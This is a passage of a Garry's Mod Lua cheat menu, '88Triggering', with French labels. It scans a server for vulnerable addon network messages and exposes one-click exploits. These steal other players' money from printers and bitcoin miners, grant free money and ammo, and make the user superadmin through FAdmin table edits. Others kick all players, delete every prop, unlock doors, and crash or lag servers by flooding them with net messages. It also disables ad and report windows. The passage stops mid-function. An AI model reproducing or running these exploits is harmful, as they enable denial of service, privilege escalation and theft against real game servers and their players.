3703local asnet = util.NetworkIDToString( i )
3704if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
3705end
3706end)
3707
3708
3709
3710/*=======================
3711|===== MOTDGD KILL =====|
3712========================*/
3713
3714if(istable(MOTDgd))then
3715 MOTDgd = {}
3716 function MOTDgd.Show() end
3717 function MOTDgd.GetIfSkip() return true end
3718 print "On dirait qu'il n'y aura pas de pub :c"
3719end
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731/*===========================
3732|===== 88Triggering GUI =====|
3733===========================*/
3734surface.CreateFont("clsbtn",{font = "Marlett", size = 15, weight = 0, antialias = 0})
3735
3736
3737
3738concommand.Add( "88", function()
3739surface.PlaySound("UI/buttonclick.wav")
3740
3741local A1 = vgui.Create( "DFrame")
3742A1:SetSize( 700, 620 )
3743A1:Center()
3744A1:SetTitle( "" )
3745A1:ShowCloseButton( false )
3746A1:SetDraggable( true )
3747A1:MakePopup()
3748A1.Paint = function( self, w, h )
3749draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 240))
3750end
3751
3752local AC = vgui.Create( "DButton", A1)
3753AC:SetPos( 680, 0)
3754AC:SetSize( 20, 20 )
3755AC:SetText( "X" )
3756AC:SetFont( "clsbtn" )
3757AC.Paint = function( self, w, h )
3758draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 200))
3759if AC:IsHovered() then
3760AC:SetTextColor( Color( 255, 255, 255 ) )
3761draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 200))
3762else
3763draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 200))
3764AC:SetTextColor( Color( 255, 255, 255 ) )
3765end
3766AC.DoClick = function()
3767surface.PlaySound( "UI/buttonclick.wav" )
3768A1:Remove()
3769end
3770end
3771AL = vgui.Create( "HTML", A1 )
3772AL:SetSize( 400,50 )
3773AL:SetPos( 420,10 )
3774AL:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792/*============================
3793|===== 88Triggering TABS =====|
3794=============================*/
3795
3796local Tabs = vgui.Create( "DPropertySheet", A1 )
3797Tabs:Dock( FILL )
3798Tabs:DockPadding( 0, 0, 0, 0)
3799Tabs.Paint = function (self, w, h)
3800for k, v in pairs(Tabs.Items) do
3801 if (!v.Tab) then continue end
3802
3803 v.Tab.Paint = function(self,w,h)
3804 surface.DrawRect( 0, 0, v.Tab:GetWide(), v.Tab:GetTall() )
3805 end
3806 end
3807 end
3808
3809local exploits = vgui.Create( "DPanel", Tabs )
3810 exploits.Paint = function( self, w, h )
3811 exploits:SetSize(100,100)
3812 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3813 end
3814Tabs:AddSheet( "Exploits", exploits )
3815
3816local netcmd = vgui.Create( "DPanel", Tabs )
3817 netcmd.Paint = function( self, w, h )
3818 draw.RoundedBox(10, 200, 25, w, h, Color(15,15,15,220))
3819 end
3820
3821local mscsbd = vgui.Create( "DPanel", Tabs )
3822 mscsbd.Paint = function( self, w, h )
3823 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3824 end
3825
3826local sdbbd = vgui.Create( "DPanel", Tabs )
3827 sdbbd.Paint = function( self, w, h )
3828 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3829 end
3830
3831Tabs:AddSheet( "Backdoor", netcmd )
3832Tabs:AddSheet( "Musique", mscsbd )
3833Tabs:AddSheet( "Soundboard", sdbbd )
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848/*================================
3849|===== 88Triggering EXPLOITS =====|
3850=================================*/
3851
3852concommand.Add("rainbow",function()
3853hook.Add("Think", "Rainbow", function()
3854local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3855 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3856 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3857end )
3858end )
3859
3860function random_string(length)
3861 math.randomseed(os.time())
3862
3863 if length > 0 then
3864 return random_string(length - 1) .. charset[math.random(1, #charset)]
3865 else
3866 return ""
3867 end
3868end
3869
3870local s = {}
3871s.duel = {}
3872s.duel[1] = table.Random( player.GetAll() )
3873s.duel[2] = table.Random( player.GetAll() )
3874s.duel[2] = 3
3875s.duel[3] = -9999999
3876
3877
3878function CHATPRINT( str )
3879chat.AddText( Color( 0, 0, 0 ), "[88Triggering] ", Color( 255, 255, 255), str )
3880end
3881
3882
3883local function NOTIFICATION(text)
3884
3885local notify = vgui.Create( "DPanel" )
3886notify:SetSize( 1920, 50 )
3887notify:SetPos( ScrW() - 200, -50 )
3888notify.Paint = function(self, w, h)
3889draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50, 220))
3890local bars = 10
3891for i=0, bars, 1 do
3892 local rainbow = Color(0, 0, 0,220)
3893 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 50, w / bars, 50, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 220))
3894end
3895//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, Color(0, 0, 0,220))
3896draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3897end
3898notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
3899timer.Simple( 1, function()
3900notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
3901end)
3902end)
3903end
3904
3905
3906//////////// [CLEAR CHAT] ////////////
3907
3908function clearchat()
3909for i = 0, 100 do
3910chat.AddText(" ")
3911end
3912end
3913
3914//////////// [VAPE] ////////////
3915
3916function Vape()
3917timer.Simple(0, function() RunConsoleCommand("+attack") end )
3918timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
3919end
3920concommand.Add("vape", Vape)
3921concommand.Add("clearchat", clearchat)
3922
3923function Initialize()
3924NOTIFICATION("88TRIGGERING MENU CHARGÉ !")
3925net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
3926net.Receive( "metro_notification",function() // Disable Metro Notification
3927return
3928end)
3929
3930//////////// Font Creation ////////////
3931--
3932surface.CreateFont( "Roboto", {
3933 font = "Roboto",
3934 size = 18,
3935} )
3936--
3937surface.CreateFont( "Calibri-sm", {
3938 font = "Calibri",
3939 size = 15,
3940} )
3941--
3942surface.CreateFont( "Calibri-l", {
3943 font = "Calibri",
3944 size = 21,
3945} )
3946--
3947surface.CreateFont( "tahoma", {
3948 font = "Tahoma",
3949 size = 15,
3950} )
3951--
3952end
3953Initialize(); // Initializes basic shit for when menu is loaded.
3954
3955
3956function ValidNetString( str )
3957local status, error = pcall( net.Start, str )
3958return status
3959end
3960
3961
3962function draw.OutlinedBox( x, y, w, h, thickness, clr )
3963surface.SetDrawColor( clr )
3964for i=0, thickness - 1 do
3965surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
3966end
3967end
3968
3969local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploits )
3970exploitsScrollPanel:Dock( FILL )
3971exploitsScrollPanel:InnerWidth(100)
3972local sbar = exploitsScrollPanel:GetVBar()
3973function exploitsScrollPanel:Paint( w, h )
3974 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
3975end
3976function sbar:Paint( w, h )
3977 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
3978end
3979function sbar.btnUp:Paint( w, h )
3980 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3981end
3982function sbar.btnDown:Paint( w, h )
3983 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3984end
3985function sbar.btnGrip:Paint( w, h )
3986 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3987end
3988
3989totalSploits = 0
3990function addExploit(id, text, desc, func)
3991totalSploits = 1 + totalSploits
3992local id = vgui.Create( "DButton", exploitsScrollPanel )
3993id:SetText( text )
3994id:SetTextColor( Color( 200, 200, 200, 220 ) )
3995id:SetFont("Roboto")
3996id:Dock( TOP )
3997id:DockMargin( 10, 45, 40, -37 )
3998id:DockPadding( 2, 30, 20, 10 )
3999id.DoClick = func
4000if desc then
4001id:SetToolTip( desc )
4002end
4003id.Paint = function( self, w, h )
4004id.OnCursorEntered = function(self)
4005-- surface.PlaySound( "garrysmod/ui_hover.wav" )
4006surface.PlaySound( "buttons/button15.wav" )
4007end
4008if id:IsHovered() then
4009-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
4010draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
4011else
4012draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
4013end
4014surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4015surface.DrawOutlinedRect( 0, 0, w, h )
4016end
4017end
4018
4019
4020//////////////////// [EXPLOITS] ////////////////////
4021
4022status = ValidNetString("TCBBuyAmmo")
4023if (status) then
4024CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
4025addExploit( "1","Munitions Gratuites", "", function()
4026surface.PlaySound("garrysmod/ui_click.wav")
4027CHATPRINT("Getting Le Ammo")
4028for k,v in pairs(GAMEMODE.AmmoTypes) do
4029net.Start("TCBBuyAmmo")
4030net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4031net.SendToServer()
4032end
4033end)
4034end
4035
4036status = ValidNetString("DataSend")
4037if (status) then
4038CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
4039addExploit( "2","Voler L'argents De Tous #1", "", function()
4040surface.PlaySound("garrysmod/ui_click.wav")
4041for k, v in pairs( ents.GetAll() ) do
4042if v:GetClass() == "adv_moneyprinter" then
4043CHATPRINT("Collecting Money")
4044net.Start("DataSend")
4045net.WriteFloat(2)
4046net.WriteEntity(v)
4047net.WriteEntity(LocalPlayer())
4048net.SendToServer()
4049end
4050end
4051end)
4052end
4053
4054
4055status = ValidNetString("FarmingmodSellItems")
4056if (status) then
4057CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
4058addExploit( "3","Argent Gratuite", "", function()
4059surface.PlaySound("garrysmod/ui_click.wav")
4060CHATPRINT("Enjoy the b1g monies")
4061net.Start("FarmingmodSellItems")
4062net.WriteTable(
4063{
4064Cost = 10,
4065CropModel = "models/props/eryk/garlic.mdl",
4066CropType = 2,
4067Info = "Garlic Seed",
4068Model = "models/props/eryk/seedbag.mdl",
4069Name = "Garlic",
4070Quality = 4,
4071Sell = 99999,
4072Type = "Seed"
4073}
4074)
4075net.WriteInt(1,16)
4076net.SendToServer()
4077end)
4078end
4079
4080status = ValidNetString("start_wd_emp")
4081if (status) then
4082CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
4083addExploit( "4","Hack Keypad", "", function()
4084surface.PlaySound("garrysmod/ui_click.wav")
4085NOTIFICATION("Hacking Keypads")
4086net.Start("start_wd_emp")
4087net.SendToServer()
4088end)
4089end
4090
4091status = ValidNetString("duelrequestguiYes")
4092if (status) then
4093CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
4094addExploit( "5","Recevoir De L'Argent", "", function()
4095surface.PlaySound("garrysmod/ui_click.wav")
4096NOTIFICATION("getting ez monies")
4097net.Start("duelrequestguiYes")
4098net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4099net.WriteEntity(table.Random( player.GetAll() ) )
4100net.WriteString("Crossbow")
4101net.SendToServer()
4102end)
4103end
4104
4105status = ValidNetString("DarkRP_Kun_ForceSpawn")
4106if (status) then
4107CHATPRINT("Exploit Trouvé : Respawn #1 [DarkRP_Kun_ForceSpawn]")
4108addExploit( "6", "Respawn #1", "", function()
4109surface.PlaySound("garrysmod/ui_click.wav")
4110CHATPRINT("Respawn")
4111net.Start("DarkRP_Kun_ForceSpawn")
4112net.SendToServer()
4113end)
4114end
4115
4116status = ValidNetString("SyncPrinterButtons76561198056171650")
4117if (status) then
4118CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
4119addExploit( "7","Voler L'argents De Tous #2", "", function()
4120surface.PlaySound("garrysmod/ui_click.wav")
4121CHATPRINT("Collecting Money")
4122for k, v in pairs(ents.GetAll()) do
4123if (v:GetClass() == "adv_moneyprinter") then
4124net.Start("SyncPrinterButtons76561198056171650")
4125net.WriteEntity(v)
4126net.WriteUInt(2, 4)
4127net.SendToServer()
4128end
4129end
4130end)
4131end
4132---------------------------------------------------------------------------------------------
4133local function report()
4134 for i = 1, 2000 do
4135 net.Start("DL_Answering")
4136 net.SendToServer()
4137 end
4138end
4139
4140if (Damagelog) then
4141CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
4142reportSpam = 0
4143addExploit( "1337","Kick Tous Le Monde", "", function()
4144 surface.PlaySound("garrysmod/ui_click.wav")
4145 if (reportSpam == 0) then
4146 NOTIFICATION("Starting Kicker")
4147 reportSpam = 1
4148 timer.Create("reportSpammer", 0.05, 0, report)
4149 else
4150 NOTIFICATION("Stopping Kicker")
4151 reportSpam = 0
4152 timer.Remove("reportSpammer")
4153 end
4154
4155end)
4156end
4157----------------------------------------------------------------------------------------------
4158
4159status = ValidNetString("SimplicityAC_aysent")
4160if (status) then
4161CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
4162addExploit( "8","Crash #1", "", function()
4163surface.PlaySound("garrysmod/ui_click.wav")
4164CHATPRINT("Goodbye Server")
4165local tbl = {}
4166for i=1,400 do
4167tbl[i] = i
4168end
4169net.Start("SimplicityAC_aysent")
4170net.WriteUInt(1, 8)
4171net.WriteUInt(4294967295, 32)
4172net.WriteTable(tbl)
4173net.SendToServer()
4174end)
4175end
4176
4177status = ValidNetString("RevivePlayer")
4178if (status) then
4179CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
4180addExploit( "9", "Reanimation #1", "", function()
4181surface.PlaySound("garrysmod/ui_click.wav")
4182if !timer.Exists( "reanimation1" ) then
4183NOTIFICATION( "Enabled" )
4184timer.Create( "reanimation1", 0.5, 0, function()
4185if !LocalPlayer():Alive() then
4186net.Start("RevivePlayer")
4187net.WriteEntity(LocalPlayer())
4188net.SendToServer()
4189end
4190end)
4191else
4192timer.Remove( "reanimation1" )
4193NOTIFICATION( "Disabled" )
4194end
4195end )
4196end
4197
4198status = ValidNetString("NLRKick")
4199if (status) then
4200CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
4201addExploit( "10","Kick Tous Le Monde", "", function()
4202surface.PlaySound("garrysmod/ui_click.wav")
4203NOTIFICATION("Kicking All")
4204for k,v in pairs(player.GetAll()) do
4205if v != LocalPlayer() then
4206net.Start("NLRKick")
4207net.WriteEntity(v)
4208net.SendToServer()
4209end
4210end
4211end)
4212end
4213
4214status = ValidNetString("timebombDefuse")
4215if (status) then
4216CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
4217addExploit( "11","Supprimer Tous Les Props", "", function()
4218surface.PlaySound("garrysmod/ui_click.wav")
4219NOTIFICATION("Props De_Stroyed")
4220for k,v in pairs(ents.GetAll()) do
4221net.Start("timebombDefuse")
4222net.WriteEntity(v)
4223net.WriteBool(true)
4224net.SendToServer()
4225end
4226end)
4227end
4228
4229status = ValidNetString("NDES_SelectedEmblem")
4230if (status) then
4231CHATPRINT("Exploit Trouvé : Lagger #2 [NDES_SelectedEmblem]")
4232addExploit( "12","Lagger #2", "", function()
4233surface.PlaySound("garrysmod/ui_click.wav")
4234if !timer.Exists( "lagger2" ) then
4235timer.Create("lagger2", 0.5, 0, function()
4236for i=1, 2000 do
4237net.Start("NDES_SelectedEmblem",true)
4238net.WriteString("seized")
4239net.SendToServer()
4240end
4241end)
4242NOTIFICATION("Starting Lagger")
4243else
4244timer.Remove("lagger2")
4245NOTIFICATION("Stopping Lagger")
4246end
4247end)
4248end
4249
4250status = ValidNetString("Morpheus.StaffTracker")
4251if (status) then
4252CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
4253addExploit( "13","Crasher #1", "", function()
4254surface.PlaySound("garrysmod/ui_click.wav")
4255if !timer.Exists( "crasher1" ) then
4256timer.Create("crasher1", 0.5, 0, function()
4257for i=1, 2000 do
4258net.Start("Morpheus.StaffTracker")
4259net.SendToServer()
4260end
4261end)
4262NOTIFICATION("Crashing Server")
4263else
4264timer.Remove("crasher1")
4265NOTIFICATION( "Canceling Crasher" )
4266end
4267end)
4268end
4269
4270status = ValidNetString("egg")
4271if (status) then
4272CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
4273addExploit( "14","Recevoir Les Easter Eggs", "", function()
4274surface.PlaySound("garrysmod/ui_click.wav")
4275RunConsoleCommand("say", "4bigz")
4276RunConsoleCommand("cc_egg2")
4277net.Start("egg")
4278net.SendToServer()
4279NOTIFICATION("Gave Easter Egg")
4280end)
4281end
4282
4283status = ValidNetString("pplay_deleterow")
4284if (status) then
4285CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
4286addExploit( "15","Devenir SuperAdmin", "", function()
4287surface.PlaySound("garrysmod/ui_click.wav")
4288local id = LocalPlayer():SteamID()
4289local tbl = {}
4290tbl.name = "FAdmin_PlayerGroup"
4291tbl.where = {
4292"steamid",
4293tostring(id)
4294}
4295
4296net.Start("pplay_deleterow")
4297net.WriteTable(tbl)
4298net.SendToServer()
4299local tbl = {}
4300tbl.tblname = "FAdmin_PlayerGroup"
4301tbl.tblinfo = {
4302tostring(id),
4303"superadmin"
4304}
4305net.Start("pplay_addrow")
4306net.WriteTable(tbl)
4307net.SendToServer()
4308NOTIFICATION("promotion ;)")
4309end)
4310end
4311
4312-- TTT Bypass Report by daddy grampa
4313
4314local function CheckChild(pan)
4315local title = "You have been reported! Please answer all your reports."
4316 if !pan || !IsValid(pan) then return end
4317 if pan.GetTitle && pan:GetTitle() == title then
4318 pan:Remove();
4319 print("Removed warning box")
4320 return
4321 end
4322 for k,v in pairs(pan:GetChildren()) do
4323 if v.GetTitle && v:GetTitle() == title then
4324 v:Remove();
4325 print("Removed warning box")
4326 return
4327 end
4328 if #v:GetChildren() > 0 then
4329 CheckChild(v)
4330 end
4331 end
4332end
4333
4334if (engine.ActiveGamemode() == "terrortown") then
4335bypass = 0
4336CHATPRINT("Exploit Trouvé : TTT Bypass Report")
4337addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
4338surface.PlaySound("garrysmod/ui_click.wav")
4339if (bypass == 0) then
4340hook.Add("Think", "remove_ttt_report", function()
4341local pan = vgui.GetHoveredPanel()
4342CheckChild(pan)
4343end)
4344NOTIFICATION("Enabled Report Bypass")
4345bypass = 1
4346else
4347hook.Remove("Think", "remove_ttt_report")
4348NOTIFICATION("Disabled Report Bypass")
4349bypass = 0
4350end
4351end)
4352end
4353
4354status = ValidNetString("EZS_PlayerTag")
4355if (status) then
4356CHATPRINT("Exploit Trouvé : Lagger #3 [EZS_PlayerTag]")
4357addExploit( "17","Lagger #3", "", function()
4358surface.PlaySound("garrysmod/ui_click.wav")
4359if !timer.Exists( "lagger3" ) then
4360timer.Create("lagger3", 0.5, 0, function()
4361for k, v in pairs(player.GetAll()) do
4362net.Start("EZS_PlayerTag",true)
4363net.WriteEntity(v)
4364net.WriteString("Seized")
4365net.SendToServer()
4366timer.Simple(2, function()
4367net.Start("EZS_PlayerTag",true)
4368net.WriteEntity(v)
4369net.WriteString("Seized")
4370net.SendToServer()
4371end)
4372end
4373end)
4374NOTIFICATION("Starting Lagger")
4375else
4376timer.Remove("lagger3")
4377NOTIFICATION("Stopping Lagger")
4378end
4379end)
4380end
4381
4382if ConVarExists("advttt_spreadovertime_enabled") then
4383CHATPRINT("Exploit Trouvé : NoSpread")
4384addExploit( "18","NoSpread", "", function()
4385surface.PlaySound("garrysmod/ui_click.wav")
4386hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
4387NOTIFICATION("Spread Removed")
4388end)
4389end
4390
4391status = ValidNetString("fp_as_doorHandler")
4392if (status) then
4393CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
4394addExploit( "19","Ouvrir La Porte", "", function()
4395surface.PlaySound("garrysmod/ui_click.wav")
4396net.Start("fp_as_doorHandler")
4397net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4398net.WriteString("unlock")
4399net.SendToServer()
4400NOTIFICATION("Opened Door")
4401end)
4402end
4403
4404status = ValidNetString("fp_as_doorHandler")
4405if (status) then
4406addExploit( "20","Fermer La Porte", "", function()
4407surface.PlaySound("garrysmod/ui_click.wav")
4408net.Start("fp_as_doorHandler")
4409net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4410net.WriteString("lock")
4411net.SendToServer()
4412NOTIFICATION("Opened Door")
4413end)
4414end
4415
4416status = ValidNetString("fp_as_doorHandler")
4417if (status) then
4418addExploit( "21","Supprimer Le Propriétaire", "", function()
4419surface.PlaySound("garrysmod/ui_click.wav")
4420local door = LocalPlayer():GetEyeTrace().Entity
4421local doorOwner = door:getDoorData()["owner"]
4422net.Start("fp_as_doorHandler")
4423net.WriteEntity(door)
4424net.WriteString("removeOwner")
4425net.WriteDouble(doorOwner)
4426net.SendToServer()
4427NOTIFICATION("Opened Door")
4428end)
4429end
4430
4431status = ValidNetString("VJSay")
4432if (status) then
4433CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
4434addExploit( "22","VJSay [OLD]", "", function()
4435surface.PlaySound("garrysmod/ui_click.wav")
4436inputFrame2Exists = true
4437inputFrame2 = vgui.Create( "DFrame" )
4438inputFrame2:SetTitle("Enter your message!")
4439inputFrame2:SetSize( 400, 75 )
4440inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
4441inputFrame2:SetDraggable(false)
4442inputFrame2:ShowCloseButton(false)
4443inputFrame2:MakePopup()
4444inputFrame2.Paint = function( self, w, h )
4445draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
4446end
4447
4448local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
4449TextEntry2:SetSize( 380, 30 )
4450TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
4451TextEntry2:SetText( "Broadcast Msg" )
4452TextEntry2.OnEnter = function( self )
4453surface.PlaySound("garrysmod/ui_click.wav")
4454NOTIFICATION("Broadcasting")
4455net.Start("VJSay")
4456net.WriteEntity(nil)
4457net.WriteString(TextEntry2:GetValue())
4458net.WriteString("")
4459net.SendToServer()
4460inputFrame2:SetVisible(false)
4461end
4462end)
4463end
4464
4465status = ValidNetString("ply_pick_shit")
4466if (status) then
4467CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
4468addExploit( "23","Argent Gratuite amirite", "", function()
4469surface.PlaySound("garrysmod/ui_click.wav")
4470for k, v in pairs (player.GetAll()) do
4471for i = 1,255 do
4472net.Start("ply_pick_shit")
4473net.WriteEntity(LocalPlayer())
4474net.WriteEntity(v)
4475net.SendToServer()
4476end
4477end
4478NOTIFICATION("enjoy monies")
4479end)
4480end
4481
4482status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
4483if (status) then
4484CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
4485addExploit( "24","Crasher #2", "big lagz", function()
4486surface.PlaySound("garrysmod/ui_click.wav")
4487if !timer.Exists( "crasher2" ) then
4488timer.Create("crasher2", 0, 0, function()
4489for i = 1, 400 do
4490net.Start("pac.net.TouchFlexes.ClientNotify")
4491net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
4492net.SendToServer()
4493end
4494end)
4495NOTIFICATION("Starting Crasher")
4496else
4497timer.Remove("crasher2")
4498NOTIFICATION("Stopping Crasher")
4499end
4500end)
4501end
4502
4503status = ValidNetString("BM2.Command.SellBitcoins")
4504if (status) then
4505CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
4506addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
4507surface.PlaySound("garrysmod/ui_click.wav")
4508for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
4509net.Start("BM2.Command.SellBitcoins")
4510net.WriteEntity(v)
4511net.SendToServer()
4512end
4513for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
4514net.Start("BM2.Command.SellBitcoins")
4515net.WriteEntity(v)
4516net.SendToServer()
4517end
4518for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
4519net.Start("BM2.Command.SellBitcoins")
4520net.WriteEntity(v)
4521net.SendToServer()
4522end
4523end)
4524end
4525
4526status = ValidNetString("BM2.Command.Eject")
4527if (status) then
4528CHATPRINT("Exploit Trouvé : Lagger #4 [BM2.Command.Eject]")
4529addExploit( "26","Lagger #4", "", function()
4530surface.PlaySound("garrysmod/ui_click.wav")
4531if !timer.Exists( "lagger4" ) then
4532timer.Create("lagger4", 0, 0, function()
4533for i = 1, 1000 do
4534net.Start("BM2.Command.Eject",true)
4535net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
4536net.SendToServer()
4537end
4538end)
4539NOTIFICATION("Starting Lagger")
4540else
4541timer.Remove("lagger4")
4542NOTIFICATION("Stopping Lagger")
4543end
4544end)
4545end
4546
4547status = ValidNetString("BM2.Command.SellBitcoins")
4548if (status) then
4549CHATPRINT("Exploit Trouvé : Lagger #5 [BM2.Command.SellBitcoins]")
4550addExploit( "27","Lagger #5", "", function()
4551surface.PlaySound("garrysmod/ui_click.wav")
4552timer.Create("lagger5", 0, 0, function()
4553for i=1,1000 do
4554net.Start("BM2.Command.SellBitcoins",true)
4555net.WriteEntity(LocalPlayer())
4556net.SendToServer()
4557end
4558end )
4559end )
4560end
4561
4562status = ValidNetString("ItemStoreUse")
4563if (status) then
4564CHATPRINT("Exploit Trouvé : Lagger #6 [ItemStoreUse]")
4565addExploit( "28","Lagger #6", "", function()
4566surface.PlaySound("garrysmod/ui_click.wav")
4567if !timer.Exists( "lagger6" ) then
4568timer.Create("lagger6", 0, 0, function()
4569for i = 1, 1000 do
4570net.Start("ItemStoreUse",true)
4571net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4572net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4573net.SendToServer()
4574end
4575end)
4576NOTIFICATION("Starting Lagger")
4577else
4578timer.Remove("lagger6")
4579NOTIFICATION("Stopping Lagger")
4580end
4581end)
4582end
4583
4584status = ValidNetString("ItemStoreDrop")
4585if (status) then
4586CHATPRINT("Exploit Trouvé : Lagger #7 [ItemStoreDrop]")
4587addExploit( "29","Lagger #7", "", function()
4588surface.PlaySound("garrysmod/ui_click.wav")
4589if !timer.Exists( "lagger7" ) then
4590timer.Create("lagger7", 0, 0, function()
4591for i = 1, 1000 do
4592net.Start("ItemStoreDrop",true)
4593net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4594net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4595net.SendToServer()
4596end
4597end)
4598NOTIFICATION("Starting Lagger")
4599else
4600timer.Remove("lagger7")
4601NOTIFICATION("Stopping Lagger")
4602end
4603end)
4604end
4605
4606status = ValidNetString("gMining.sellMineral")
4607if (status) then
4608CHATPRINT("Exploit Trouvé : Lagger #8 [gMining.sellMineral]")
4609addExploit( "30","Lagger #8", "", function()
4610surface.PlaySound("garrysmod/ui_click.wav")
4611NOTIFICATION("Starting")
4612if !timer.Exists( "lagger8" ) then
4613timer.Create("lagger8", 0, 0, function()
4614for i = 1, 1000 do
4615net.Start("gMining.sellMineral",true)
4616net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
4617net.WriteString(" ")
4618net.SendToServer()
4619end
4620end )
4621end
4622end )
4623end
4624
4625status = ValidNetString("PlayerUseItem")
4626if (status) then
4627CHATPRINT("Exploit Trouvé : Lagger #9 [PlayerUseItem]")
4628addExploit( "31","Lagger #9", "", function()
4629surface.PlaySound("garrysmod/ui_click.wav")
4630if !timer.Exists( "lagger9" ) then
4631timer.Create("lagger9", 0,0, function()
4632for i = 1, 800 do
4633net.Start("PlayerUseItem",true)
4634net.WriteInt(99999999999999999999999999999999999999999999999, 32)
4635net.SendToServer()
4636end
4637end)
4638NOTIFICATION("Starting Lagger")
4639else
4640timer.Remove("lagger9")
4641NOTIFICATION("Stopping Lagger")
4642end
4643end)
4644end
4645
4646status = ValidNetString("RequestMAPSize")
4647if (status) then
4648CHATPRINT("Exploit Trouvé : Lagger #10 [RequestMAPSize]")
4649addExploit( "32","Lagger #10", "", function()
4650surface.PlaySound("garrysmod/ui_click.wav")
4651if !timer.Exists( "lagger10" ) then
4652timer.Create("lagger10", 0, 0, function()
4653for i = 1, 400 do
4654net.Start("RequestMAPSize",true)
